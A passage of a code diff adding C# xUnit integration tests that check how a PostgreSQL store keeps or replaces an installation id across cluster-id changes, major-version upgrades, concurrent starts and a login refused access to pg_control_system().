+        Assert.Contains(oldId, warning, StringComparison.Ordinal);
+        Assert.Contains(newId, warning, StringComparison.Ordinal);
+        Assert.Contains("cluster id", warning, StringComparison.Ordinal);
+        Assert.Contains(oldCluster.ToString(System.Globalization.CultureInfo.InvariantCulture), warning, StringComparison.Ordinal);
+        Assert.Contains("major version", warning, StringComparison.Ordinal);
+
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(newId, row.InstallId);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+
+        var after = new CapturingTestLogger();
+        Assert.Equal(newId, await StoreInstallId.EnsureAsync(connection, after, ct));
+        Assert.Empty(after.Lines);
+    }
+
+    /// <summary>Several starts that all see the changed cluster id and a lower stored major end on the same id, and one of
+    /// them says so.</summary>
+    [Fact]
+    public async Task Ensure_ConcurrentStartsOnAChangedClusterIdWithAHigherMajor_KeepTheId_AndLogOneInformationInTotal()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var setup = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(setup, new CapturingTestLogger(), ct);
+        await ExecAsync(setup, $"UPDATE {Table} SET system_identifier = system_identifier + 1, server_major = server_major - 1", ct);
+
+        const int starts = 12;
+        var gate = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var loggers = Enumerable.Range(0, starts).Select(_ => new CapturingTestLogger()).ToArray();
+        var tasks = loggers.Select(async logger =>
+        {
+            await using var connection = new NpgsqlConnection(ConnectionString);
+            await connection.OpenAsync(ct);
+            await gate.Task;
+            return await StoreInstallId.EnsureAsync(connection, logger, ct);
+        }).ToArray();
+
+        gate.SetResult();
+        var ids = await Task.WhenAll(tasks);
+
+        Assert.Equal(id, Assert.Single(ids.Distinct()));
+        Assert.Equal(0, loggers.Sum(logger => logger.CountAtLevel(LogLevel.Warning)));
+        Assert.Equal(1, loggers.Sum(logger => logger.Lines.Count(l => l.StartsWith("Information:", StringComparison.Ordinal))));
+        var binding = await RealBindingAsync(setup, ct);
+        var row = await ReadRowAsync(setup, ct);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+    }
+
+    /// <summary>A stored cluster id of NULL (made while the login was refused it) is filled in once the current one is
+    /// known, and the id stays. The cluster id was unknown, so nothing says it changed and the two OIDs decide, as they
+    /// did before the major was kept.</summary>
+    [Fact]
+    public async Task Ensure_AStoredNullClusterId_IsFilledIn_AndKeepsTheId()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = NULL", ct);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(connection, logger, ct));
+
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal((await RealBindingAsync(connection, ct)).SystemIdentifier, (await ReadRowAsync(connection, ct)).SystemIdentifier);
+    }
+
+    /// <summary>An unknown cluster id stays unknown to the rule whatever the stored major is: a row stored with a NULL
+    /// cluster id and a major that differs from this server's (higher or lower) keeps its id, takes the cluster id and the
+    /// current major, and logs no Warning.</summary>
+    [Theory]
+    [InlineData(-1)]
+    [InlineData(1)]
+    public async Task Ensure_AStoredNullClusterId_WithAnotherMajor_KeepsTheId_AndWritesTheCurrentMajor(int storedMajorOffset)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var binding = await RealBindingAsync(connection, ct);
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = NULL, server_major = {binding.ServerMajor + storedMajorOffset}", ct);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(connection, logger, ct));
+
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(id, row.InstallId);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+    }
+
+    /// <summary>A row that has its table OID but no major (the column was added to a store that already had rows) must still
+    /// match the cluster id. With the cluster id unchanged it keeps its id and takes the current major, quietly. With a
+    /// changed one nothing shows the server was upgraded, so the row gets a new id and one Warning.</summary>
+    [Fact]
+    public async Task Ensure_ARowWithATableOidAndNoMajor_MustMatchTheClusterId_ThenAdoptsTheMajor()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var binding = await RealBindingAsync(connection, ct);
+
+        /* The cluster id matches: kept, and the major is filled in without a line in the log. */
+        await ExecAsync(connection, $"UPDATE {Table} SET server_major = NULL", ct);
+        var kept = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(connection, kept, ct));
+        Assert.Empty(kept.Lines);
+        Assert.Equal(binding.ServerMajor, (await ReadRowAsync(connection, ct)).ServerMajor);
+
+        /* The cluster id changed and there is no stored major to show a rise: a new id. */
+        await ExecAsync(connection, $"UPDATE {Table} SET server_major = NULL, system_identifier = system_identifier + 1", ct);
+        var replaced = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(connection, replaced, ct);
+        Assert.NotEqual(id, newId);
+        var warning = Assert.Single(replaced.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains(id, warning, StringComparison.Ordinal);
+        Assert.Contains(newId, warning, StringComparison.Ordinal);
+        Assert.Contains("major version", warning, StringComparison.Ordinal);
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(newId, row.InstallId);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+    }
+
+    /// <summary>The column the major is kept in: nullable integer, made by the rung together with the table OID. Running the
+    /// rung again, as a store that has it already would, changes nothing and does not fail.</summary>
+    [Fact]
+    public async Task TheMajorColumn_IsANullableInteger_AndTheRungIsSafeToRunAgain()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+
+        async Task<(string Type, string Nullable)> ColumnAsync(string name)
+        {
+            await using var command = new NpgsqlCommand(
+                "SELECT data_type, is_nullable FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_install_id' AND column_name = $1",
+                connection);
+            command.Parameters.Add(new NpgsqlParameter { Value = name });
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct), $"the install id table has no {name} column");
+            return (reader.GetString(0), reader.GetString(1));
+        }
+
+        Assert.Equal(("integer", "YES"), await ColumnAsync("server_major"));
+        Assert.Equal(("bigint", "YES"), await ColumnAsync("table_oid"));
+
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var before = await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct);
+        await ExecAsync(connection, TableOidRungSql, ct);
+        Assert.Equal(("integer", "YES"), await ColumnAsync("server_major"));
+        Assert.Equal(before, await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct));
+        Assert.Equal(id, (await ReadRowAsync(connection, ct)).InstallId);
+    }
+
+    /// <summary>The upgrade of a store that holds the id the previous rung's service made: the rung adds both columns and
+    /// leaves the row alone, and the next start keeps the id and fills in the table OID and the major.</summary>
+    [Fact]
+    public async Task TheRung_OnAStoreWithTheRowThePreviousRungMade_KeepsTheId_AndTheNextStartFillsInBothValues()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        await ExecAsync(connection, $"DROP TABLE {Table}", ct);
+        await ExecAsync(connection, RungSql, ct);
+        var binding = await RealBindingAsync(connection, ct);
+        await ExecAsync(connection,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (1, 'abcdef12', $1, $2)", ct,
+            binding.SystemIdentifier, binding.DatabaseOid);
+
+        await ExecAsync(connection, TableOidRungSql, ct);
+        var migrated = await ReadRowAsync(connection, ct);
+        Assert.Equal("abcdef12", migrated.InstallId);
+        Assert.Null(migrated.TableOid);
+        Assert.Null(migrated.ServerMajor);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal("abcdef12", await StoreInstallId.EnsureAsync(connection, logger, ct));
+        Assert.Empty(logger.Lines);
+        var row = await ReadRowAsync(connection, ct);
+        var real = await RealBindingAsync(connection, ct);
+        Assert.Equal("abcdef12", row.InstallId);
+        Assert.Equal(real.TableOid, row.TableOid);
+        Assert.Equal(real.ServerMajor, row.ServerMajor);
+    }
+
+    /// <summary>A changed table OID is a different store, and it is one with a NULL cluster id too: the OIDs decide, so a
+    /// refused or unknown cluster id cannot hide it. The new row carries the real binding.</summary>
+    [Fact]
+    public async Task Ensure_AChangedTableOid_WithANullClusterId_MakesANewId_AndOneWarning()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var oldId = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = NULL, table_oid = table_oid + 1", ct);
+
+        var logger = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(connection, logger, ct);
+
+        Assert.NotEqual(oldId, newId);
+        var warning = Assert.Single(logger.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains(oldId, warning, StringComparison.Ordinal);
+        Assert.Contains(newId, warning, StringComparison.Ordinal);
+        Assert.Contains("table's OID", warning, StringComparison.Ordinal);
+        var binding = await RealBindingAsync(connection, ct);
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(newId, row.InstallId);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+    }
+
+    /// <summary>A row made before the table OID was kept has none (and no major). It is compared by the old rule once (the
+    /// cluster id counts when both sides have one) and, when it is this store's, has the table OID and the major filled in
+    /// and keeps its id.</summary>
+    [Fact]
+    public async Task Ensure_ARowWithNoTableOid_FollowsTheOldRuleOnce_ThenHasTheOidAndTheMajorFilledIn()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var binding = await RealBindingAsync(connection, ct);
+
+        /* This store's row: kept, and filled in. */
+        await ExecAsync(connection,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (1, 'abcdef12', $1, $2)", ct,
+            binding.SystemIdentifier, binding.DatabaseOid);
+        var kept = new CapturingTestLogger();
+        Assert.Equal("abcdef12", await StoreInstallId.EnsureAsync(connection, kept, ct));
+        Assert.Equal(0, kept.CountAtLevel(LogLevel.Warning));
+        var adopted = await ReadRowAsync(connection, ct);
+        Assert.Equal(binding.TableOid, adopted.TableOid);
+        Assert.Equal(binding.ServerMajor, adopted.ServerMajor);
+
+        /* The old rule still holds for such a row: another cluster id with no table OID is another store, once, even
+           when the server's major is not what it was. */
+        await ExecAsync(connection, $"UPDATE {Table} SET table_oid = NULL, server_major = NULL, system_identifier = system_identifier + 1", ct);
+        var replaced = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(connection, replaced, ct);
+        Assert.NotEqual("abcdef12", newId);
+        var warning = Assert.Single(replaced.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains("cluster id", warning, StringComparison.Ordinal);
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(newId, row.InstallId);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+
+        /* After that the table OID and the major are there, and the new rule applies: a changed cluster id at the same major
+           is another store, and at a lower stored major it is an upgrade. */
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = system_identifier + 1", ct);
+        var copy = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        Assert.NotEqual(newId, copy);
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = system_identifier + 1, server_major = server_major - 1", ct);
+        Assert.Equal(copy, await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct));
+    }
+}
diff --git a/Darling/Darling.Tests/StoreInstallIdRefusedClusterLiveTests.cs b/Darling/Darling.Tests/StoreInstallIdRefusedClusterLiveTests.cs
new file mode 100644
index 0000000000..1c01989c03
--- /dev/null
+++ b/Darling/Darling.Tests/StoreInstallIdRefusedClusterLiveTests.cs
@@ -0,0 +1,454 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every fact runs in the one scratch database the fixture mints through ScratchPostgres, empties the
+   install id table first, and puts the cluster-id grant back to its default, so the class is deliberately NOT
+   [Collection("live-postgres")]. The REVOKE the facts make is on a function's ACL, which lives in the database's own
+   catalog, so it never reaches another database on the cluster. */
+
+/// <summary>The scratch store behind <see cref="StoreInstallIdRefusedClusterLiveTests"/>: a database of its own,
+/// migrated once through the real ladder, and a login that has no more than the store's runtime role has on the
+/// install id table (it is not a superuser, so a REVOKE on <c>pg_control_system()</c> reaches it). A second
+/// connection string puts a function that always fails ahead of the real one on the login's search path, to make a
+/// failure that is not a refusal. The login is dropped with the database.</summary>
+public sealed class RefusedClusterScratchStore : IAsyncLifetime
+{
+    private const string LoginPassword = "install-id-login-pw";
+
+    private readonly string _loginName = "install_id_login_" + Guid.NewGuid().ToString("N")[..12];
+    private string? _baseConnectionString;
+    private ScratchPostgres? _scratch;
+
+    /// <summary>The scratch store as its owner, or null when <c>DARLING_TEST_PG</c> is unset (the normal ungated
+    /// run), in which case every fact skips.</summary>
+    public string? OwnerConnectionString => _scratch?.ConnectionString;
+
+    /// <summary>The same store as the login without superuser rights.</summary>
+    public string? LoginConnectionString => _scratch is null ? null : LoginBuilder().ConnectionString;
+
+    /// <summary>The login's connection with a failing <c>pg_control_system()</c> found before the real one.</summary>
+    public string? FailingFunctionConnectionString
+    {
+        get
+        {
+            if (_scratch is null)
+            {
+                return null;
+            }
+
+            var builder = LoginBuilder();
+            builder.SearchPath = "shadow,pg_catalog";
+            return builder.ConnectionString;
+        }
+    }
+
+    private NpgsqlConnectionStringBuilder LoginBuilder() =>
+        new(_scratch!.ConnectionString) { Username = _loginName, Password = LoginPassword, Pooling = false };
+
+    public async ValueTask InitializeAsync()
+    {
+        _baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(_baseConnectionString))
+        {
+            return;
+        }
+
+        _scratch = await ScratchPostgres.CreateAsync(_baseConnectionString, CancellationToken.None);
+        await using var connection = new NpgsqlConnection(_scratch.ConnectionString);
+        await connection.OpenAsync(CancellationToken.None);
+        await PgMigrations.MigrateAsync(connection, CancellationToken.None);
+
+        /* What the runtime role has on this table: the schema's USAGE and SELECT, INSERT, UPDATE and DELETE (the
+           blanket grants provisioning makes on the config schema). Nothing on pg_control_system() but the
+           default every login has until a server revokes it. */
+        var sql = $@"
+CREATE ROLE {_loginName} LOGIN NOSUPERUSER PASSWORD '{LoginPassword}';
+GRANT USAGE ON SCHEMA config TO {_loginName};
+GRANT SELECT, INSERT, UPDATE, DELETE ON config.config_install_id TO {_loginName};
+CREATE SCHEMA shadow;
+CREATE FUNCTION shadow.pg_control_system() RETURNS TABLE(system_identifier bigint) LANGUAGE plpgsql
+AS $body$ BEGIN RAISE EXCEPTION 'the cluster id read failed' USING ERRCODE = '55000'; END $body$;
+GRANT USAGE ON SCHEMA shadow TO {_loginName};
+GRANT EXECUTE ON FUNCTION shadow.pg_control_system() TO {_loginName};";
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(CancellationToken.None);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (_scratch is null)
+        {
+            return;
+        }
+
+        await _scratch.DisposeAsync();
+
+        try
+        {
+            await using var admin = new NpgsqlConnection(_baseConnectionString);
+            await admin.OpenAsync(CancellationToken.None);
+            await using var drop = new NpgsqlCommand($"DROP ROLE IF EXISTS {_loginName}", admin);
+            await drop.ExecuteNonQueryAsync(CancellationToken.None);
+        }
+        catch
+        {
+            /* Best-effort: a leaked login on a throwaway test cluster is harmless, and failing a passing test in
+               its cleanup would invert the signal. */
+        }
+    }
+}
+
+/// <summary>
+/// The install id store on a server that refuses a login <c>pg_control_system()</c> (#4961). A managed or hardened
+/// server may revoke it, and the service has to start there anyway: the id is then bound to the database alone, the
+/// stored cluster id is left empty, and a later start that can read the cluster id (or can no longer) keeps the same id
+/// rather than making a new one on its own. Only a refusal falls back; any other failure of that read still fails the
+/// start.
+/// </summary>
+public sealed class StoreInstallIdRefusedClusterLiveTests : IClassFixture<RefusedClusterScratchStore>
+{
+    private const string Table = "config.config_install_id";
+
+    private readonly RefusedClusterScratchStore _store;
+
+    public StoreInstallIdRefusedClusterLiveTests(RefusedClusterScratchStore store)
+    {
+        _store = store;
+    }
+
+    private string OwnerConnectionString
+    {
+        get
+        {
+            Assert.SkipWhen(string.IsNullOrEmpty(_store.OwnerConnectionString), "Set DARLING_TEST_PG to run the live install id fallback pins.");
+            return _store.OwnerConnectionString!;
+        }
+    }
+
+    private static async Task<NpgsqlConnection> OpenAsync(string connectionString, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (T)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>The owner's connection to a store with no install id row and the cluster id readable, the state a
+    /// fact then changes to the one it needs.</summary>
+    private async Task<NpgsqlConnection> OwnerAsync(CancellationToken ct)
+    {
+        var owner = await OpenAsync(OwnerConnectionString, ct);
+        await ExecAsync(owner, $"DELETE FROM {Table}", ct);
+        await AllowClusterIdAsync(owner, ct);
+        return owner;
+    }
+
+    private static Task RefuseClusterIdAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        ExecAsync(owner, "REVOKE EXECUTE ON FUNCTION pg_control_system() FROM PUBLIC", ct);
+
+    private static Task AllowClusterIdAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        ExecAsync(owner, "GRANT EXECUTE ON FUNCTION pg_control_system() TO PUBLIC", ct);
+
+    private static async Task<(string InstallId, long? SystemIdentifier, long DatabaseOid)> ReadRowAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand($"SELECT install_id, system_identifier, database_oid FROM {Table} WHERE id = 1", connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct), "the install id table has no row");
+        return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetInt64(1), reader.GetInt64(2));
+    }
+
+    private static Task<long> DatabaseOidAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ScalarAsync<long>(connection, "SELECT oid::bigint FROM pg_database WHERE datname = current_database()", ct);
+
+    private static Task<long> ClusterIdAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        ScalarAsync<long>(owner, "SELECT system_identifier FROM pg_control_system()", ct);
+
+    private static Task<int> ServerMajorAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ScalarAsync<int>(connection, "SELECT current_setting('server_version_num')::int / 10000", ct);
+
+    private static Task<int> StoredMajorAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        ScalarAsync<int>(owner, $"SELECT server_major FROM {Table}", ct);
+
+    /// <summary>The row's version: a write, even one that sets the values it already has, gives the row a new one.</summary>
+    private static Task<string> RowVersionAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        ScalarAsync<string>(owner, $"SELECT xmin::text FROM {Table}", ct);
+
+    /// <summary>Makes the stored row the one the cluster before a major upgrade left: another cluster id and a major below
+    /// this server's, with both OIDs as they are. This server then reads as the same store after an upgrade.</summary>
+    private static async Task<(long Cluster, int Major)> StoreTheRowOfTheClusterBeforeAnUpgradeAsync(NpgsqlConnection owner, CancellationToken ct)
+    {
+        var cluster = await ClusterIdAsync(owner, ct) + 1;
+        var major = await ServerMajorAsync(owner, ct) - 1;
+        await ExecAsync(owner, $"UPDATE {Table} SET system_identifier = {cluster}, server_major = {major}", ct);
+        return (cluster, major);
+    }
+
+    private static bool IsTheDatabaseAloneLine(string line) =>
+        line.StartsWith("Information:", StringComparison.Ordinal) && line.Contains("database alone", StringComparison.Ordinal);
+
+    [Fact]
+    public async Task Ensure_WhenTheLoginMayNotReadTheClusterId_StoresARowBoundToTheDatabaseAlone_AndLogsOneInformation()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await RefuseClusterIdAsync(owner, ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+
+        var logger = new CapturingTestLogger();
+        var id = await StoreInstallId.EnsureAsync(login, logger, ct);
+
+        Assert.True(InstallId.IsValid(id), $"'{id}' is not eight lowercase hex digits");
+        Assert.Equal(1L, await ScalarAsync<long>(owner, $"SELECT count(*) FROM {Table}", ct));
+        var row = await ReadRowAsync(owner, ct);
+        Assert.Equal(id, row.InstallId);
+        Assert.Null(row.SystemIdentifier);
+        Assert.Equal(await DatabaseOidAsync(owner, ct), row.DatabaseOid);
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Single(logger.Lines, IsTheDatabaseAloneLine);
+
+        /* The read path (the CLI's and the Viewer's) sees that row too. */
+        Assert.Equal(id, await StoreInstallId.TryReadAsync(login, ct));
+    }
+
+    [Fact]
+    public async Task TryRead_OfARowStoredWithoutAClusterId_ReadsTheId_AndWritesNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await RefuseClusterIdAsync(owner, ct);
+        var oid = await DatabaseOidAsync(owner, ct);
+        await ExecAsync(owner,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (1, 'abcdef12', NULL, {oid})", ct);
+        var before = await ScalarAsync<string>(owner, $"SELECT xmin::text FROM {Table}", ct);
+
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+        Assert.Equal("abcdef12", await StoreInstallId.TryReadAsync(login, ct));
+        await using (var dataSource = NpgsqlDataSource.Create(_store.LoginConnectionString!))
+        {
+            Assert.Equal("abcdef12", await StoreInstallId.TryReadAsync(dataSource, ct));
+        }
+
+        /* A read leaves the row exactly as it found it (a write would have given it a new xmin). */
+        Assert.Equal(before, await ScalarAsync<string>(owner, $"SELECT xmin::text FROM {Table}", ct));
+    }
+
+    [Fact]
+    public async Task Ensure_AfterTheClusterIdWasRefused_ThenAllowed_KeepsTheSameId_AndLogsNoWarning()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+
+        await RefuseClusterIdAsync(owner, ct);
+        var first = await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct);
+
+        await AllowClusterIdAsync(owner, ct);
+        var logger = new CapturingTestLogger();
+        var second = await StoreInstallId.EnsureAsync(login, logger, ct);
+
+        Assert.Equal(first, second);
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(1L, await ScalarAsync<long>(owner, $"SELECT count(*) FROM {Table}", ct));
+        Assert.Equal(first, (await ReadRowAsync(owner, ct)).InstallId);
+    }
+
+    [Fact]
+    public async Task Ensure_AfterTheClusterIdWasAllowed_ThenRefused_KeepsTheSameId_AndLogsNoWarning()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+
+        var first = await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct);
+        var stored = await ReadRowAsync(owner, ct);
+        Assert.Equal(await ClusterIdAsync(owner, ct), stored.SystemIdentifier);
+
+        await RefuseClusterIdAsync(owner, ct);
+        var logger = new CapturingTestLogger();
+        var second = await StoreInstallId.EnsureAsync(login, logger, ct);
+
+        Assert.Equal(first, second);
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(1L, await ScalarAsync<long>(owner, $"SELECT count(*) FROM {Table}", ct));
+        Assert.Equal(stored, await ReadRowAsync(owner, ct));
+    }
+
+    /// <summary>The server was upgraded to a new major version (the row says cluster A and major M, the server now has
+    /// cluster B and major M+1, and both OIDs are as they were), and the first start after it can't read the cluster id.
+    /// The row keeps the id, and it keeps the major that goes with the cluster id it has: the new major written beside the
+    /// old cluster id would make a later start that can read the new cluster id see a changed cluster id at an equal
+    /// major, which is what a copy of the row looks like. The start writes nothing, so the row is as it found it.</summary>
+    [Fact]
+    public async Task Ensure_AfterAMajorUpgrade_AStartThatCannotReadTheClusterId_KeepsTheId_AndLeavesTheRowAsItWas()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+        var id = await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct);
+        var (oldCluster, oldMajor) = await StoreTheRowOfTheClusterBeforeAnUpgradeAsync(owner, ct);
+        await RefuseClusterIdAsync(owner, ct);
+        var before = await RowVersionAsync(owner, ct);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(login, logger, ct));
+
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        var row = await ReadRowAsync(owner, ct);
+        Assert.Equal(id, row.InstallId);
+        Assert.Equal(oldCluster, row.SystemIdentifier);
+        Assert.Equal(oldMajor, await StoredMajorAsync(owner, ct));
+        Assert.Equal(before, await RowVersionAsync(owner, ct));
+    }
+
+    /// <summary>The same upgrade, and a later start can read the cluster id. The id stays, one Information line says the
+    /// cluster id changed and the major rose, and the row is rebound to the new cluster id and major: the start that could
+    /// not read the cluster id did not make the later one look like a copy.</summary>
+    [Fact]
+    public async Task Ensure_AfterAMajorUpgrade_AStartThatCannotReadTheClusterId_ThenOneThatCan_KeepsTheId_AndRebindsTheRow()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+        var id = await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct);
+        var (oldCluster, oldMajor) = await StoreTheRowOfTheClusterBeforeAnUpgradeAsync(owner, ct);
+        var newCluster = await ClusterIdAsync(owner, ct);
+        var newMajor = await ServerMajorAsync(owner, ct);
+
+        await RefuseClusterIdAsync(owner, ct);
+        var refused = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(login, refused, ct));
+
+        await AllowClusterIdAsync(owner, ct);
+        var allowed = new CapturingTestLogger();
+        var later = await StoreInstallId.EnsureAsync(login, allowed, ct);
+
+        Assert.Equal(id, later);
+        Assert.Equal(0, refused.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(0, allowed.CountAtLevel(LogLevel.Warning));
+        var line = Assert.Single(allowed.Lines, l => l.StartsWith("Information:", StringComparison.Ordinal));
+        Assert.Contains(oldCluster.ToString(CultureInfo.InvariantCulture), line, StringComparison.Ordinal);
+        Assert.Contains(newCluster.ToString(CultureInfo.InvariantCulture), line, StringComparison.Ordinal);
+        Assert.Contains($"from {oldMajor} to {newMajor}", line, StringComparison.Ordinal);
+        Assert.Contains("id stays", line, StringComparison.Ordinal);
+        var row = await ReadRowAsync(owner, ct);
+        Assert.Equal(id, row.InstallId);
+        Assert.Equal(newCluster, row.SystemIdentifier);
+        Assert.Equal(newMajor, await StoredMajorAsync(owner, ct));
+        Assert.Equal(1L, await ScalarAsync<long>(owner, $"SELECT count(*) FROM {Table}", ct));
+    }
+
+    /// <summary>A row with no cluster id has no cluster id for a major to stay beside, so a start that can't read the cluster
+    /// id still writes the current major into it, whether the stored one was lower or higher. The next such start finds
+    /// nothing left to write.</summary>
+    [Theory]
+    [InlineData(-1)]
+    [InlineData(1)]
+    public async Task Ensure_ARowWithNoClusterId_AStartThatCannotReadTheClusterId_StillWritesTheMajor(int storedMajorOffset)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+        await RefuseClusterIdAsync(owner, ct);
+        var id = await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct);
+        var major = await ServerMajorAsync(owner, ct);
+        await ExecAsync(owner, $"UPDATE {Table} SET server_major = {major + storedMajorOffset}", ct);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(login, logger, ct));
+
